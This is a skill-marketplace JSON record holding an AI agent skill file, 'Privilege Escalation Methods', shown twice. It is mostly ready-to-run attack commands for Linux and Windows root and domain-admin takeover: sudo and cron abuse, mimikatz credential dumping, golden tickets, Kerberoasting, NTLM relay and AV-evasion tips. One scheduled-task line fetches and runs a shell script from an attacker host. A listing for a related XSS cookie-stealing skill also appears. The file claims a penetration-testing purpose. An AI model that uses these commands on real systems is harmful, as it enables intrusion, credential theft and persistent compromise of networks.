[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6DXVE66EXPQM5GXHBW0T2JB":3,"skill-same:01M6DXVE66EXPQM5GXHBW0T2JB":94},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":36,"linkOnly":37,"markdownContent":38,"markdownBody":39,"frontMatter":40,"refName":44,"commitSha":45,"skillDirectory":46,"forksCount":14,"repositoryHtmlUrl":47,"repositoryHomepageUrl":6,"ownerHtmlUrl":48,"ownerBlogUrl":49,"ownerDescription":50,"updatedAt":51,"install":52,"resources":65},"01M6DXVE66EXPQM5GXHBW0T2JB","Privilege Escalation Methods",null,"This skill should be used when the user asks to \"escalate privileges\", \"get root access\", \"become administrator\", \"privesc techniques\", \"abuse sudo\", \"exploit SUID binaries\", \"Kerberoasting\", \"pass-the-ticket\", \"token impersonation\", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems.","EthanSheehan\u002FGrid-Sentinel","EthanSheehan","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F174215275?v=4","01M6DX9589ENESB2AYW9YK4Y50","Ethan Sheehan","01M6DX95P06JXASASFQZRFQ1NM",0,"MIT","https:\u002F\u002Fgithub.com\u002FEthanSheehan\u002FGrid-Sentinel\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fprivilege-escalation-methods\u002FSKILL.md",[],[19,20,5,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35],"escalation","methods","access","ticket","systems","token","get","guidance","exploit","user","linux","impersonation","kerberoasting","pass-the-ticket","exploitation","post-exploitation","windows","2026-11-10 10:12:30",false,"---\nname: Privilege Escalation Methods\ndescription: This skill should be used when the user asks to \"escalate privileges\", \"get root access\", \"become administrator\", \"privesc techniques\", \"abuse sudo\", \"exploit SUID binaries\", \"Kerberoasting\", \"pass-the-ticket\", \"token impersonation\", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Privilege Escalation Methods\n\n## Purpose\n\nProvide comprehensive techniques for escalating privileges from a low-privileged user to root\u002Fadministrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.\n\n## Inputs\u002FPrerequisites\n\n- Initial low-privilege shell access on target system\n- Kali Linux or penetration testing distribution\n- Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus\n- Understanding of Windows\u002FLinux privilege models\n- For AD attacks: Domain user credentials and network access to DC\n\n## Outputs\u002FDeliverables\n\n- Root or Administrator shell access\n- Extracted credentials and hashes\n- Persistent access mechanisms\n- Domain compromise (for AD environments)\n\n---\n\n## Core Techniques\n\n### Linux Privilege Escalation\n\n#### 1. Abusing Sudo Binaries\n\nExploit misconfigured sudo permissions using GTFOBins techniques:\n\n```bash\n# Check sudo permissions\nsudo -l\n\n# Exploit common binaries\nsudo vim -c ':!\u002Fbin\u002Fbash'\nsudo find \u002Fetc\u002Fpasswd -exec \u002Fbin\u002Fbash \\;\nsudo awk 'BEGIN {system(\"\u002Fbin\u002Fbash\")}'\nsudo python -c 'import pty;pty.spawn(\"\u002Fbin\u002Fbash\")'\nsudo perl -e 'exec \"\u002Fbin\u002Fbash\";'\nsudo less \u002Fetc\u002Fhosts    # then type: !bash\nsudo man man            # then type: !bash\nsudo env \u002Fbin\u002Fbash\n```\n\n#### 2. Abusing Scheduled Tasks (Cron)\n\n```bash\n# Find writable cron scripts\nls -la \u002Fetc\u002Fcron*\ncat \u002Fetc\u002Fcrontab\n\n# Inject payload into writable script\necho 'chmod +s \u002Fbin\u002Fbash' > \u002Fhome\u002Fuser\u002Fsystemupdate.sh\nchmod +x \u002Fhome\u002Fuser\u002Fsystemupdate.sh\n\n# Wait for execution, then:\n\u002Fbin\u002Fbash -p\n```\n\n#### 3. Abusing Capabilities\n\n```bash\n# Find binaries with capabilities\ngetcap -r \u002F 2>\u002Fdev\u002Fnull\n\n# Python with cap_setuid\n\u002Fusr\u002Fbin\u002Fpython2.6 -c 'import os; os.setuid(0); os.system(\"\u002Fbin\u002Fbash\")'\n\n# Perl with cap_setuid\n\u002Fusr\u002Fbin\u002Fperl -e 'use POSIX (setuid); POSIX::setuid(0); exec \"\u002Fbin\u002Fbash\";'\n\n# Tar with cap_dac_read_search (read any file)\n\u002Fusr\u002Fbin\u002Ftar -cvf key.tar \u002Froot\u002F.ssh\u002Fid_rsa\n\u002Fusr\u002Fbin\u002Ftar -xvf key.tar\n```\n\n#### 4. NFS Root Squashing\n\n```bash\n# Check for NFS shares\nshowmount -e \u003Cvictim_ip>\n\n# Mount and exploit no_root_squash\nmkdir \u002Ftmp\u002Fmount\nmount -o rw,vers=2 \u003Cvictim_ip>:\u002Ftmp \u002Ftmp\u002Fmount\ncd \u002Ftmp\u002Fmount\ncp \u002Fbin\u002Fbash .\nchmod +s bash\n```\n\n#### 5. MySQL Running as Root\n\n```bash\n# If MySQL runs as root\nmysql -u root -p\n\\! chmod +s \u002Fbin\u002Fbash\nexit\n\u002Fbin\u002Fbash -p\n```\n\n---\n\n### Windows Privilege Escalation\n\n#### 1. Token Impersonation\n\n```powershell\n# Using SweetPotato (SeImpersonatePrivilege)\nexecute-assembly sweetpotato.exe -p beacon.exe\n\n# Using SharpImpersonation\nSharpImpersonation.exe user:\u003Cuser> technique:ImpersonateLoggedOnuser\n```\n\n#### 2. Service Abuse\n\n```powershell\n# Using PowerUp\n. .\\PowerUp.ps1\nInvoke-ServiceAbuse -Name 'vds' -UserName 'domain\\user1'\nInvoke-ServiceAbuse -Name 'browser' -UserName 'domain\\user1'\n```\n\n#### 3. Abusing SeBackupPrivilege\n\n```powershell\nimport-module .\\SeBackupPrivilegeUtils.dll\nimport-module .\\SeBackupPrivilegeCmdLets.dll\nCopy-FileSebackupPrivilege z:\\Windows\\NTDS\\ntds.dit C:\\temp\\ntds.dit\n```\n\n#### 4. Abusing SeLoadDriverPrivilege\n\n```powershell\n# Load vulnerable Capcom driver\n.\\eoploaddriver.exe System\\CurrentControlSet\\MyService C:\\test\\capcom.sys\n.\\ExploitCapcom.exe\n```\n\n#### 5. Abusing GPO\n\n```powershell\n.\\SharpGPOAbuse.exe --AddComputerTask --Taskname \"Update\" `\n  --Author DOMAIN\\\u003CUSER> --Command \"cmd.exe\" `\n  --Arguments \"\u002Fc net user Administrator Password!@# \u002Fdomain\" `\n  --GPOName \"ADDITIONAL DC CONFIGURATION\"\n```\n\n---\n\n### Active Directory Attacks\n\n#### 1. Kerberoasting\n\n```bash\n# Using Impacket\nGetUserSPNs.py domain.local\u002Fuser:password -dc-ip 10.10.10.100 -request\n\n# Using CrackMapExec\ncrackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt\n```\n\n#### 2. AS-REP Roasting\n\n```powershell\n.\\Rubeus.exe asreproast\n```\n\n#### 3. Golden Ticket\n\n```powershell\n# DCSync to get krbtgt hash\nmimikatz# lsadump::dcsync \u002Fuser:krbtgt\n\n# Create golden ticket\nmimikatz# kerberos::golden \u002Fuser:Administrator \u002Fdomain:domain.local `\n  \u002Fsid:S-1-5-21-... \u002Frc4:\u003CNTLM_HASH> \u002Fid:500\n```\n\n#### 4. Pass-the-Ticket\n\n```powershell\n.\\Rubeus.exe asktgt \u002Fuser:USER$ \u002Frc4:\u003CNTLM_HASH> \u002Fptt\nklist  # Verify ticket\n```\n\n#### 5. Golden Ticket with Scheduled Tasks\n\n```powershell\n# 1. Elevate and dump credentials\nmimikatz# token::elevate\nmimikatz# vault::cred \u002Fpatch\nmimikatz# lsadump::lsa \u002Fpatch\n\n# 2. Create golden ticket\nmimikatz# kerberos::golden \u002Fuser:Administrator \u002Frc4:\u003CHASH> `\n  \u002Fdomain:DOMAIN \u002Fsid:\u003CSID> \u002Fticket:ticket.kirbi\n\n# 3. Create scheduled task\nschtasks \u002Fcreate \u002FS DOMAIN \u002FSC Weekly \u002FRU \"NT Authority\\SYSTEM\" `\n  \u002FTN \"enterprise\" \u002FTR \"powershell.exe -c 'iex (iwr http:\u002F\u002Fattacker\u002Fshell.ps1)'\"\nschtasks \u002Frun \u002Fs DOMAIN \u002FTN \"enterprise\"\n```\n\n---\n\n### Credential Harvesting\n\n#### LLMNR Poisoning\n\n```bash\n# Start Responder\nresponder -I eth1 -v\n\n# Create malicious shortcut (Book.url)\n[InternetShortcut]\nURL=https:\u002F\u002Ffacebook.com\nIconIndex=0\nIconFile=\\\\attacker_ip\\not_found.ico\n```\n\n#### NTLM Relay\n\n```bash\nresponder -I eth1 -v\nntlmrelayx.py -tf targets.txt -smb2support\n```\n\n#### Dumping with VSS\n\n```powershell\nvssadmin create shadow \u002Ffor=C:\ncopy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\NTDS\\NTDS.dit C:\\temp\\\ncopy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SYSTEM C:\\temp\\\n```\n\n---\n\n## Quick Reference\n\n| Technique | OS | Domain Required | Tool |\n|-----------|-----|-----------------|------|\n| Sudo Binary Abuse | Linux | No | GTFOBins |\n| Cron Job Exploit | Linux | No | Manual |\n| Capability Abuse | Linux | No | getcap |\n| NFS no_root_squash | Linux | No | mount |\n| Token Impersonation | Windows | No | SweetPotato |\n| Service Abuse | Windows | No | PowerUp |\n| Kerberoasting | Windows | Yes | Rubeus\u002FImpacket |\n| AS-REP Roasting | Windows | Yes | Rubeus |\n| Golden Ticket | Windows | Yes | Mimikatz |\n| Pass-the-Ticket | Windows | Yes | Rubeus |\n| DCSync | Windows | Yes | Mimikatz |\n| LLMNR Poisoning | Windows | Yes | Responder |\n\n---\n\n## Constraints\n\n**Must:**\n- Have initial shell access before attempting escalation\n- Verify target OS and environment before selecting technique\n- Use appropriate tool for domain vs local escalation\n\n**Must Not:**\n- Attempt techniques on production systems without authorization\n- Leave persistence mechanisms without client approval\n- Ignore detection mechanisms (EDR, SIEM)\n\n**Should:**\n- Enumerate thoroughly before exploitation\n- Document all successful escalation paths\n- Clean up artifacts after engagement\n\n---\n\n## Examples\n\n### Example 1: Linux Sudo to Root\n\n```bash\n# Check sudo permissions\n$ sudo -l\nUser www-data may run the following commands:\n    (root) NOPASSWD: \u002Fusr\u002Fbin\u002Fvim\n\n# Exploit vim\n$ sudo vim -c ':!\u002Fbin\u002Fbash'\nroot@target:~# id\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Example 2: Windows Kerberoasting\n\n```bash\n# Request service tickets\n$ GetUserSPNs.py domain.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1 -request\n\n# Crack with hashcat\n$ hashcat -m 13100 hashes.txt rockyou.txt\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |\n| Mimikatz blocked by AV | Use Invoke-Mimikatz or SafetyKatz |\n| Kerberoasting returns no hashes | Check for service accounts with SPNs |\n| Token impersonation fails | Verify SeImpersonatePrivilege is present |\n| NFS mount fails | Check NFS version compatibility (vers=2,3,4) |\n\n---\n\n## Additional Resources\n\nFor detailed enumeration scripts, use:\n- **LinPEAS**: Linux privilege escalation enumeration\n- **WinPEAS**: Windows privilege escalation enumeration\n- **BloodHound**: Active Directory attack path mapping\n- **GTFOBins**: Unix binary exploitation reference\n","# Privilege Escalation Methods\n\n## Purpose\n\nProvide comprehensive techniques for escalating privileges from a low-privileged user to root\u002Fadministrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.\n\n## Inputs\u002FPrerequisites\n\n- Initial low-privilege shell access on target system\n- Kali Linux or penetration testing distribution\n- Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus\n- Understanding of Windows\u002FLinux privilege models\n- For AD attacks: Domain user credentials and network access to DC\n\n## Outputs\u002FDeliverables\n\n- Root or Administrator shell access\n- Extracted credentials and hashes\n- Persistent access mechanisms\n- Domain compromise (for AD environments)\n\n---\n\n## Core Techniques\n\n### Linux Privilege Escalation\n\n#### 1. Abusing Sudo Binaries\n\nExploit misconfigured sudo permissions using GTFOBins techniques:\n\n```bash\n# Check sudo permissions\nsudo -l\n\n# Exploit common binaries\nsudo vim -c ':!\u002Fbin\u002Fbash'\nsudo find \u002Fetc\u002Fpasswd -exec \u002Fbin\u002Fbash \\;\nsudo awk 'BEGIN {system(\"\u002Fbin\u002Fbash\")}'\nsudo python -c 'import pty;pty.spawn(\"\u002Fbin\u002Fbash\")'\nsudo perl -e 'exec \"\u002Fbin\u002Fbash\";'\nsudo less \u002Fetc\u002Fhosts    # then type: !bash\nsudo man man            # then type: !bash\nsudo env \u002Fbin\u002Fbash\n```\n\n#### 2. Abusing Scheduled Tasks (Cron)\n\n```bash\n# Find writable cron scripts\nls -la \u002Fetc\u002Fcron*\ncat \u002Fetc\u002Fcrontab\n\n# Inject payload into writable script\necho 'chmod +s \u002Fbin\u002Fbash' > \u002Fhome\u002Fuser\u002Fsystemupdate.sh\nchmod +x \u002Fhome\u002Fuser\u002Fsystemupdate.sh\n\n# Wait for execution, then:\n\u002Fbin\u002Fbash -p\n```\n\n#### 3. Abusing Capabilities\n\n```bash\n# Find binaries with capabilities\ngetcap -r \u002F 2>\u002Fdev\u002Fnull\n\n# Python with cap_setuid\n\u002Fusr\u002Fbin\u002Fpython2.6 -c 'import os; os.setuid(0); os.system(\"\u002Fbin\u002Fbash\")'\n\n# Perl with cap_setuid\n\u002Fusr\u002Fbin\u002Fperl -e 'use POSIX (setuid); POSIX::setuid(0); exec \"\u002Fbin\u002Fbash\";'\n\n# Tar with cap_dac_read_search (read any file)\n\u002Fusr\u002Fbin\u002Ftar -cvf key.tar \u002Froot\u002F.ssh\u002Fid_rsa\n\u002Fusr\u002Fbin\u002Ftar -xvf key.tar\n```\n\n#### 4. NFS Root Squashing\n\n```bash\n# Check for NFS shares\nshowmount -e \u003Cvictim_ip>\n\n# Mount and exploit no_root_squash\nmkdir \u002Ftmp\u002Fmount\nmount -o rw,vers=2 \u003Cvictim_ip>:\u002Ftmp \u002Ftmp\u002Fmount\ncd \u002Ftmp\u002Fmount\ncp \u002Fbin\u002Fbash .\nchmod +s bash\n```\n\n#### 5. MySQL Running as Root\n\n```bash\n# If MySQL runs as root\nmysql -u root -p\n\\! chmod +s \u002Fbin\u002Fbash\nexit\n\u002Fbin\u002Fbash -p\n```\n\n---\n\n### Windows Privilege Escalation\n\n#### 1. Token Impersonation\n\n```powershell\n# Using SweetPotato (SeImpersonatePrivilege)\nexecute-assembly sweetpotato.exe -p beacon.exe\n\n# Using SharpImpersonation\nSharpImpersonation.exe user:\u003Cuser> technique:ImpersonateLoggedOnuser\n```\n\n#### 2. Service Abuse\n\n```powershell\n# Using PowerUp\n. .\\PowerUp.ps1\nInvoke-ServiceAbuse -Name 'vds' -UserName 'domain\\user1'\nInvoke-ServiceAbuse -Name 'browser' -UserName 'domain\\user1'\n```\n\n#### 3. Abusing SeBackupPrivilege\n\n```powershell\nimport-module .\\SeBackupPrivilegeUtils.dll\nimport-module .\\SeBackupPrivilegeCmdLets.dll\nCopy-FileSebackupPrivilege z:\\Windows\\NTDS\\ntds.dit C:\\temp\\ntds.dit\n```\n\n#### 4. Abusing SeLoadDriverPrivilege\n\n```powershell\n# Load vulnerable Capcom driver\n.\\eoploaddriver.exe System\\CurrentControlSet\\MyService C:\\test\\capcom.sys\n.\\ExploitCapcom.exe\n```\n\n#### 5. Abusing GPO\n\n```powershell\n.\\SharpGPOAbuse.exe --AddComputerTask --Taskname \"Update\" `\n  --Author DOMAIN\\\u003CUSER> --Command \"cmd.exe\" `\n  --Arguments \"\u002Fc net user Administrator Password!@# \u002Fdomain\" `\n  --GPOName \"ADDITIONAL DC CONFIGURATION\"\n```\n\n---\n\n### Active Directory Attacks\n\n#### 1. Kerberoasting\n\n```bash\n# Using Impacket\nGetUserSPNs.py domain.local\u002Fuser:password -dc-ip 10.10.10.100 -request\n\n# Using CrackMapExec\ncrackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt\n```\n\n#### 2. AS-REP Roasting\n\n```powershell\n.\\Rubeus.exe asreproast\n```\n\n#### 3. Golden Ticket\n\n```powershell\n# DCSync to get krbtgt hash\nmimikatz# lsadump::dcsync \u002Fuser:krbtgt\n\n# Create golden ticket\nmimikatz# kerberos::golden \u002Fuser:Administrator \u002Fdomain:domain.local `\n  \u002Fsid:S-1-5-21-... \u002Frc4:\u003CNTLM_HASH> \u002Fid:500\n```\n\n#### 4. Pass-the-Ticket\n\n```powershell\n.\\Rubeus.exe asktgt \u002Fuser:USER$ \u002Frc4:\u003CNTLM_HASH> \u002Fptt\nklist  # Verify ticket\n```\n\n#### 5. Golden Ticket with Scheduled Tasks\n\n```powershell\n# 1. Elevate and dump credentials\nmimikatz# token::elevate\nmimikatz# vault::cred \u002Fpatch\nmimikatz# lsadump::lsa \u002Fpatch\n\n# 2. Create golden ticket\nmimikatz# kerberos::golden \u002Fuser:Administrator \u002Frc4:\u003CHASH> `\n  \u002Fdomain:DOMAIN \u002Fsid:\u003CSID> \u002Fticket:ticket.kirbi\n\n# 3. Create scheduled task\nschtasks \u002Fcreate \u002FS DOMAIN \u002FSC Weekly \u002FRU \"NT Authority\\SYSTEM\" `\n  \u002FTN \"enterprise\" \u002FTR \"powershell.exe -c 'iex (iwr http:\u002F\u002Fattacker\u002Fshell.ps1)'\"\nschtasks \u002Frun \u002Fs DOMAIN \u002FTN \"enterprise\"\n```\n\n---\n\n### Credential Harvesting\n\n#### LLMNR Poisoning\n\n```bash\n# Start Responder\nresponder -I eth1 -v\n\n# Create malicious shortcut (Book.url)\n[InternetShortcut]\nURL=https:\u002F\u002Ffacebook.com\nIconIndex=0\nIconFile=\\\\attacker_ip\\not_found.ico\n```\n\n#### NTLM Relay\n\n```bash\nresponder -I eth1 -v\nntlmrelayx.py -tf targets.txt -smb2support\n```\n\n#### Dumping with VSS\n\n```powershell\nvssadmin create shadow \u002Ffor=C:\ncopy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\NTDS\\NTDS.dit C:\\temp\\\ncopy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SYSTEM C:\\temp\\\n```\n\n---\n\n## Quick Reference\n\n| Technique | OS | Domain Required | Tool |\n|-----------|-----|-----------------|------|\n| Sudo Binary Abuse | Linux | No | GTFOBins |\n| Cron Job Exploit | Linux | No | Manual |\n| Capability Abuse | Linux | No | getcap |\n| NFS no_root_squash | Linux | No | mount |\n| Token Impersonation | Windows | No | SweetPotato |\n| Service Abuse | Windows | No | PowerUp |\n| Kerberoasting | Windows | Yes | Rubeus\u002FImpacket |\n| AS-REP Roasting | Windows | Yes | Rubeus |\n| Golden Ticket | Windows | Yes | Mimikatz |\n| Pass-the-Ticket | Windows | Yes | Rubeus |\n| DCSync | Windows | Yes | Mimikatz |\n| LLMNR Poisoning | Windows | Yes | Responder |\n\n---\n\n## Constraints\n\n**Must:**\n- Have initial shell access before attempting escalation\n- Verify target OS and environment before selecting technique\n- Use appropriate tool for domain vs local escalation\n\n**Must Not:**\n- Attempt techniques on production systems without authorization\n- Leave persistence mechanisms without client approval\n- Ignore detection mechanisms (EDR, SIEM)\n\n**Should:**\n- Enumerate thoroughly before exploitation\n- Document all successful escalation paths\n- Clean up artifacts after engagement\n\n---\n\n## Examples\n\n### Example 1: Linux Sudo to Root\n\n```bash\n# Check sudo permissions\n$ sudo -l\nUser www-data may run the following commands:\n    (root) NOPASSWD: \u002Fusr\u002Fbin\u002Fvim\n\n# Exploit vim\n$ sudo vim -c ':!\u002Fbin\u002Fbash'\nroot@target:~# id\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Example 2: Windows Kerberoasting\n\n```bash\n# Request service tickets\n$ GetUserSPNs.py domain.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1 -request\n\n# Crack with hashcat\n$ hashcat -m 13100 hashes.txt rockyou.txt\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |\n| Mimikatz blocked by AV | Use Invoke-Mimikatz or SafetyKatz |\n| Kerberoasting returns no hashes | Check for service accounts with SPNs |\n| Token impersonation fails | Verify SeImpersonatePrivilege is present |\n| NFS mount fails | Check NFS version compatibility (vers=2,3,4) |\n\n---\n\n## Additional Resources\n\nFor detailed enumeration scripts, use:\n- **LinPEAS**: Linux privilege escalation enumeration\n- **WinPEAS**: Windows privilege escalation enumeration\n- **BloodHound**: Active Directory attack path mapping\n- **GTFOBins**: Unix binary exploitation reference\n",{"name":5,"metadata":41,"description":7},{"author":42,"version":43},"zebbern","1.1","main","33d99efaac9ea5758fc27120b467eca96ad020d9",".agent\u002Fskills\u002Fprivilege-escalation-methods","https:\u002F\u002Fgithub.com\u002FEthanSheehan\u002FGrid-Sentinel","https:\u002F\u002Fgithub.com\u002FEthanSheehan","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fethan-sheehan\u002F","Aerospace Engineering Student at the University of Bristol \u002F\u002F Propulsion Lead at HyPower Bristol","2026-05-22 21:19:23",{"source":8,"skillName":5,"commands":53,"prompt":63,"zipAvailable":64},[54,57,60],{"tool":55,"command":56},"npx","npx skills add EthanSheehan\u002FGrid-Sentinel --skill \"Privilege Escalation Methods\"",{"tool":58,"command":59},"bunx","bunx skills add EthanSheehan\u002FGrid-Sentinel --skill \"Privilege Escalation Methods\"",{"tool":61,"command":62},"pnpm","pnpm dlx skills add EthanSheehan\u002FGrid-Sentinel --skill \"Privilege Escalation Methods\"","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FEthanSheehan\u002FGrid-Sentinel\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fprivilege-escalation-methods\u002FSKILL.md",true,[66,72,76,82,86,91],{"path":67,"resourceType":68,"resourceTypeDesc":69,"sizeBytes":70,"sourceHtmlUrl":71},"assets\u002Fagent-template.md","ASSET","资产文件",1990,"https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__0xdarkmatter--claude-code-templates\u002Fassets\u002Fagent-template.md",{"path":73,"resourceType":68,"resourceTypeDesc":69,"sizeBytes":74,"sourceHtmlUrl":75},"assets\u002Fcommand-template.md",1524,"https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__0xdarkmatter--claude-code-templates\u002Fassets\u002Fcommand-template.md",{"path":77,"resourceType":78,"resourceTypeDesc":79,"sizeBytes":80,"sourceHtmlUrl":81},"assets\u002Fhook-script.sh","SCRIPT","脚本",2235,"https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__0xdarkmatter--claude-code-templates\u002Fassets\u002Fhook-script.sh",{"path":83,"resourceType":68,"resourceTypeDesc":69,"sizeBytes":84,"sourceHtmlUrl":85},"assets\u002Fskill-template.md",3902,"https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__0xdarkmatter--claude-code-templates\u002Fassets\u002Fskill-template.md",{"path":87,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":14,"sourceHtmlUrl":90},"references\u002F.gitkeep","REFERENCE","参考文档","https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__0xdarkmatter--claude-code-templates\u002Freferences\u002F.gitkeep",{"path":92,"resourceType":78,"resourceTypeDesc":79,"sizeBytes":14,"sourceHtmlUrl":93},"scripts\u002F.gitkeep","https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__0xdarkmatter--claude-code-templates\u002Fscripts\u002F.gitkeep",[95,127,158,178,192,217],{"skillNo":96,"name":97,"nameZh":6,"description":98,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":99,"categories":100,"keywords":106,"publishedAt":36},"01M6DY3X97YDSKHCCZG9KMASHA","zapier-make-patterns","No-code automation democratizes workflow building. Zapier and Make (formerly Integromat) let non-developers automate business processes without writing code. But no-code doesn't mean no-complexity - these platforms have their own patterns, pitfalls, and breaking points.  This skill covers when to use which platform, how to build reliable automations, and when to graduate to code-based solutions. Key insight: Zapier optimizes for simplicity and integrations (7000+ apps), Make optimizes for power","https:\u002F\u002Fgithub.com\u002FEthanSheehan\u002FGrid-Sentinel\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fzapier-make-patterns\u002FSKILL.md",[101],{"categoryNo":102,"categoryName":103,"taxonomyType":104,"taxonomyTypeDesc":105},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126],"zapier make patterns","patterns","workflow","integrations","how to","apps","platform","but","build","complexity","power","simplicity","use","business","automate","how","apache","code","automation","writing",{"skillNo":128,"name":129,"nameZh":6,"description":130,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":131,"categories":132,"keywords":139,"publishedAt":36},"01M6DY3SVP128ZZPF2478H9JYZ","Cross-Site Scripting and HTML Injection Testing","This skill should be used when the user asks to \"test for XSS vulnerabilities\", \"perform cross-site scripting attacks\", \"identify HTML injection flaws\", \"exploit client-side injection vulnerabilities\", \"steal cookies via XSS\", or \"bypass content security policies\". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.","https:\u002F\u002Fgithub.com\u002FEthanSheehan\u002FGrid-Sentinel\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fxss-html-injection\u002FSKILL.md",[133,136],{"categoryNo":134,"categoryName":135,"taxonomyType":104,"taxonomyTypeDesc":105},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":137,"categoryName":138,"taxonomyType":104,"taxonomyTypeDesc":105},"01JBSEEDCAT000000000000009","前端开发",[140,141,142,143,144,145,146,27,28,147,148,149,150,151,152,153,154,155,156,157],"html injection testing","Cross Site Scripting and HTML Injection Testing","injection","scripting","site","html","testing","applications","xss","cookies","content","web","test","vectors","via","steal","security","vulnerabilities",{"skillNo":159,"name":160,"nameZh":6,"description":161,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":162,"categories":163,"keywords":173,"publishedAt":36},"01M6DY3D694G80Y5N79CD1J575","writing-skills","Use when creating new skills, editing existing skills, or verifying skills work before deployment","https:\u002F\u002Fgithub.com\u002FEthanSheehan\u002FGrid-Sentinel\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fwriting-skills\u002FSKILL.md",[164,165,168],{"categoryNo":134,"categoryName":135,"taxonomyType":104,"taxonomyTypeDesc":105},{"categoryNo":166,"categoryName":167,"taxonomyType":104,"taxonomyTypeDesc":105},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":169,"categoryName":170,"taxonomyType":171,"taxonomyTypeDesc":172},"01JBSEEDCAT000000000000036","内容创作者","PROFESSION","适用职业",[126,174,175,119,176,177],"writing skills","deployment","editing","work",{"skillNo":179,"name":180,"nameZh":6,"description":181,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":182,"categories":183,"keywords":186,"publishedAt":36},"01M6DY3A7BM31W5Q2QARW00JHS","writing-plans","Use when you have a spec or requirements for a multi-step task, before touching code","https:\u002F\u002Fgithub.com\u002FEthanSheehan\u002FGrid-Sentinel\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fwriting-plans\u002FSKILL.md",[184,185],{"categoryNo":166,"categoryName":167,"taxonomyType":104,"taxonomyTypeDesc":105},{"categoryNo":169,"categoryName":170,"taxonomyType":171,"taxonomyTypeDesc":172},[187,126,188,189,190,119,124,191],"writing plans","plans","requirements","task","spec",{"skillNo":193,"name":194,"nameZh":6,"description":195,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":196,"categories":197,"keywords":199,"publishedAt":36},"01M6DY36NSATM95HR7HMVZJYB3","workflow-automation","Workflow automation is the infrastructure that makes AI agents reliable. Without durable execution, a network hiccup during a 10-step payment 